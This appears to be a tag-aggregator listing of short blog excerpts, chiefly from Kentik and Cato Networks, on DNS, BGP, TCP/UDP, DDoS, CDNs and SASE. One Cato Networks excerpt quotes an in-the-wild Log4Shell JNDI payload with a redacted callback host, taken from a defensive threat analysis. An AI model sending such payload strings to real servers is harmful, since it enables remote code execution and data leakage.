Kentik

OCTOBER 4, 2021

Included in the withdrawn prefixes were the IP addresses of Facebook’s authoritative DNS servers, rendering them unreachable. Below, Kentik’s versatile Data Explorer illustrates how traffic from Facebook’s platform changed over the course of the day when broken down by protocol.

TCP 145

TCP DNS Server Media 145

High Scalability

AUGUST 22, 2018

In the early days of the internet the internet was protocol driven, decentralized, and often distributed—FTP (1971), Telnet (<1973), FINGER (1971/1977), TCP/IP (1974), UUCP (late 1970s) NNTP (1986), DNS (1983), SMTP (1982), IRC(1988), HTTP(1990), Tor (mid-1990s), Napster(1999), and XMPP(1999). —are all centralized.

Internet 88

Internet TCP DNS Protocol 88

Kentik

MAY 8, 2023

While redundancy is a significant contributor to network resilience, other mechanisms, protocols, and methods can also contribute to overall network resilience. Many network protocols have been designed to handle different aspects of this process. Many network protocols have been designed to handle different aspects of this process.

Networking 52

Networking Network IP Address TCP 52

Kentik

MAY 2, 2018

In simple terms, Border Gateway Protocol (BGP) is the protocol that routes traffic on the Internet. During last week’s attack, the attacker was redirecting traffic that belonged to Amazon’s Route 53 DNS servers. Here we have the DNS clients sending their DNS queries to the hijacked blocks advertised by AS10297.

IP Address 49

IP Address DNS UDP port Advertising 49

Kentik

MARCH 15, 2023

Protocol-based. These attacks overwhelm network infrastructure resources, targeting layer 3 and layer 4 communication protocols. Common protocol-based attacks are Ping of Death, Smurf DDoS, and SYN floods. Find misconfigurations and bad code that expose your network’s Border Gateway Protocol routes to vulnerability.

Networking 94

Networking Network Protocol IP Address 94

ByteByteGo

JANUARY 25, 2025

Here’s a roadmap that covers the most important topics: Introduction to APIs API is a set of protocols and tools for building applications. After DNS resolution, the requests reach the app servers. The Ultimate API Learning Roadmap APIs are the backbone of communication over the Internet.

Cookie 167

Cookie Gateway Server Application 167

Kentik

NOVEMBER 4, 2018

In addition to basic data like source and destination IP address, port, protocol, etc., We also utilize nom , an excellent Rust parser combinator library, for high-performance decoding of application layer protocols like DHCP, DNS, and HTTP.

IP Address 67

IP Address Protocol TCP DNS 67

Confluent

JULY 1, 2019

KAFKA_LISTENER_SECURITY_PROTOCOL_MAP defines key/value pairs for the security protocol to use per listener name. For these comms, we need to use the internal IP of the EC2 machine (or hostname, if DNS is configured). In both cases, the external IP of the instance needs to be used (or hostname, if DNS is configured).

Port 101

Port IaaS DNS Networking 101

Kentik

SEPTEMBER 20, 2021

After the DNS lookup and the ARP, the host reaches out to the IP address of the destination using a SYN in order to open a connection. I was looking for a command line ping utility that used the Quic UDP protocol against websites. Here we will explore how latency can be measured and the factors that can introduce latency.

TCP 116

TCP Routers Bandwidth IP Address 116

CATO Networks

JUNE 14, 2023

There exist several protocols, from different network layers that can be used for OS fingerprinting. Figure 1 displays these protocols, based on the Open Systems Interconnection (OSI) model. Over this protocol, a unique physical identifier, called the MAC address, is allocated to the network interface card (NIC) of each network device.

IoT 52

IoT TCP Protocol Server 52

Kentik

APRIL 19, 2023

They heavily rely on BGP (Border Gateway Protocol, the protocol that networks use to exchange routes) to define which cache an end user is directed to. Movie Open Connect is unique among the CDNs since they do not rely on the DNS system to direct the end user to the suitable cache. Give me movie 4. supports ECS, but 1.1.1.1

DNS 52

DNS IP Address Server Networking 52

CATO Networks

OCTOBER 25, 2022

Different network protocols have different functions and present varying security risks. This is why firewalls and other network security solutions are commonly configured with rules that apply to specific ports and protocols, such as restricting external access to certain services or looking for protocol-specific threats.

Firewall 52

Firewall Application Protocol SASE 52

CATO Networks

AUGUST 17, 2021

BGP The Border Gateway Protocol (BGP) is a protocol for exchanging routing information between different autonomous systems (ASes) on the Internet. OSPF The Open Shortest Path First (OSPF) protocol is designed to route traffic within an AS. DNS The Domain Name Service (DNS ) is the address book of the Internet.

NaaS 52

NaaS Networking Network SASE 52

Kentik

MAY 24, 2023

Understanding adaptive bitrate streaming and its limitations The reason for the delay — or the unsynchronized delivery of the packets that make up the live stream — is that traditional adaptive streaming protocols are based on chopping the video up into small segments. These are then encoded in several different bitrates.

Internet 98

Internet IP Address DNS Server 98

High Scalability

AUGUST 13, 2018

In the early days of the internet the internet was protocol driven, decentralized, and often distributed—FTP (1971), Telnet (<1973), FINGER (1971/1977), TCP/IP (1974), UUCP (late 1970s) NNTP (1986), DNS (1983), SMTP (1982), IRC(1988), HTTP(1990), Tor (mid-1990s), Napster(1999), and XMPP(1999). —are all centralized.

Internet 46

Internet TCP DNS Protocol 46

CATO Networks

MAY 7, 2024

Many enterprises continue to run unsecured protocols across their WAN62% of all web traffic is HTTP, 54% of all traffic is telnet, and 46% of all traffic is SMB v1 or v2. Our data indicates that only 1% of DNS traffic utilizes Secure DNS. Enterprises are too trusting within their networks. The Unadoption of DNSSEC.

SASE 52

SASE DNS Real Estate SMB 52

Kentik

JULY 8, 2019

Border Gateway Protocol (more commonly known as BGP ) is the routing protocol that makes the internet work. One way to think about it is that RPKI is to BGP what DNSSEC is to DNS. The entire RPKI process stands outside of the BGP routing protocol itself. That protocol is called RTR (meaning “RPKI-to-router” protocol).

Routers 58

Routers Protocol Internet Advertising 58

Kentik

APRIL 5, 2023

They heavily rely on BGP (Border Gateway Protocol, the protocol that networks use to exchange routes) to define which cache an end user is directed to. Movie Open Connect is unique among the CDNs since they do not rely on the DNS system to direct the end user to the suitable cache. Where is site.com ? Where is site.com ?

Networking 52

Networking Network DNS IP Address 52

Clear to Send

OCTOBER 28, 2024

Eva emphasizes the importance of a strong foundation in networking basics, such as DHCP, DNS, and spanning tree, to effectively troubleshoot Wi-Fi problems. She also discusses the need to stay adaptable and continuously learn new protocols and features to succeed in the fast-paced world of networking.

Networking 52

Networking Network Engineering DNS 52

Kentik

JULY 6, 2017

HTTP and DNS in a 5G World (Network World) HTTP and DNS may be “household name protocols,” according to Network World contributor and wireless wiz Alan Carlton, but NFV and MEC could change that.

5G 40

5G DNS Networking Network 40

Kentik

APRIL 4, 2023

NREs typically have a strong background in network engineering and are well-versed in technologies such as routing protocols, switching, load balancing, firewalls, and virtual private networks (VPNs).

Cloud 104

Cloud Networking Network Bandwidth 104

Kentik

MARCH 28, 2016

How flow protocols adapt as network needs evolve. But while NetFlow and its variants like IPFIX and sFlow are similar overall, beneath the surface there are significant differences in the way the protocols are structured, how they operate, and the types of information they can provide. More of a good thing. Templating pros and cons.

Protocol 40

Protocol Routers MPLS IP Address 40

NW Kings

DECEMBER 10, 2024

TCP ports operate at the transport layer of the Internet Protocol Suite. What is Transmission Control Protocol (TCP)? TCP is a connection-oriented protocol that ensures reliable transmission of data between devices. What is User Datagram Protocol (UDP)? How does the TCP port work? What are the top TCP ports?

UDP port 40

UDP port TCP Port IP Address 40

Kentik

MARCH 13, 2019

The victim can update DNS to point at a different IP address in an attempt to get their application back up. However, if the attack is targeting the DNS hostname and not the IP address, the attack will just switch over to the new IP address. IP Protocol. The mitigation actually “completes the attack.” Destination Prefix.

IP Address 49

IP Address Port Routers DNS 49

Kentik

FEBRUARY 13, 2017

This project took a feed of DNS data and performed a streaming analysis of flow data. Using source AS or DNS matching it was possible to detect the percent of traffic in a given network that was from CDNs as well as the cumulative (overlapping) percentage. It actually worked, and it was pretty entertaining. Sensor Data to KDE.

Routers 40

Routers DNS Protocol Engineering 40

CATO Networks

JUNE 4, 2024

Some of these configuration options include: DHCP DNS Bandwidth Management (QoS) Link health Configuring these settings in the CMA will push the configuration globally to all of the Cato PoPs to ensure that all your locations and users have the same global performance and experience.

SASE 52

SASE Firewall Encryption DNS 52

Kentik

JANUARY 19, 2018

And a Google Cast protocol bug caused temporary Wi-Fi outages. Google Cast protocol bug causing temporary Wi-Fi outages on many routers (The Register) “Wi-Fi router vendors have started issuing patches to defend their products against Google Chromecast devices,” reported The Register earlier this week.

Networking 40

Networking Network Routers Artificial Intelligence 40

Heroku

NOVEMBER 21, 2024

is subject to automatic load tests that run continuously, at varied request rates, body sizes, protocol versions. We injected some artificial server lag of 200 milliseconds and thats when things really took off: This was quite the realization! In staging environments, Router 2.0

Routers 59

Routers TCP Server DNS 59

How Funky

JANUARY 13, 2020

Or maybe you installed and used a commercial software solution like Tibco Rendezvous which has been around for 20 years or you were involved in the financial industry and you implemented the FIX protocol. My point is, the concepts and design ideas for a service mesh have been around for decades and really are nothing new at all.

Networking 40

Networking Network DNS Application 40

Kentik

FEBRUARY 14, 2023

Different formats, models, and protocols constrain data from these different domains accordingly. This is often the first point of data enrichment for network operators, providing an opportunity to correlate things like IP addresses with DNS names, application stack tags, and deployment versions.

Networking 52

Networking Network Engineering Microsegmentation 52

Kentik

JANUARY 11, 2016

First we’ll look at what protocol the traffic consists of. So now we can see that the UDP traffic is being sent to multiple ports, and it’s obvious that we’re experiencing a DNS redirection/amplification attack occurring on port 53, with a lot of port 0 UDP packet fragments being generated as collateral traffic.

Port 40

Port Networking Network UDP port 40

Kentik

MARCH 6, 2017

The Akamai report identifies these top infrastructure attack vectors as UDP fragmentation, Domain Name Service (DNS) reflection, and Network Time Protocol (NTP) reflection. Take into account other sources of service disruption, such as DNS service provider outages.

IoT 40

IoT DNS IP Address Server 40

Kentik

NOVEMBER 23, 2015

A growing percentage of attacks are reflection and amplification attacks using small, spoofed SNMP, DNS, or NTP requests to many distributed servers to bombard a target with the much more bandwidth-heavy responses to those requests. So next we’ll look at the protocol and destination port # of the traffic.

IP Address 40

IP Address Port Protocol Internet 40

CATO Networks

DECEMBER 13, 2021

com/http443useragent} We can tell that the sinkhole address matches the protocol and header on which the exploit attempt succeeds. Some others alter the target scheme from the well-known ldap:// to rmi://, dns:// and ldaps:// A funny one we found in the wild is: GET /? x= ${jndi:ldap://1.${hostName}.<REDACTED> hostName}.<REDACTED>

Server 52

Server DNS Internet Networking 52

Kentik

OCTOBER 25, 2016

Last week’s massive attack on DNS provider Dyn — with its attendant disruption to many web companies and their users — was yet another reminder of the severity of the DDoS threat. How Scalable Architecture Boosts Accuracy in Detection. Over time, only a fraction of total traffic will need to be mitigated.

IP Address 40

IP Address Networking Network Protocol 40

CATO Networks

APRIL 19, 2017

Easy and Rapid Configuration For years, WAN engineering has meant learning CLIs and scripts, mastering protocols like BGP, OSPF, PBR, and more. Failover between lines with MPLS is based on DNS or route convergence, which takes too long to sustain a session. It was an arcane art and CCIEs were the master craftsman of the trade.

WAN 40

WAN MPLS Wide Area Network Firewall 40

Kentik

JUNE 5, 2023

In 2018, attackers employed a BGP hijack that redirected traffic to Amazon’s authoritative DNS service. Having hijacked the DNS traffic, the adversary answered DNS queries for the web-based cryptocurrency wallet “myetherwallet.com” with a malicious IP address.

IP Address 145

IP Address DNS Internet Routers 145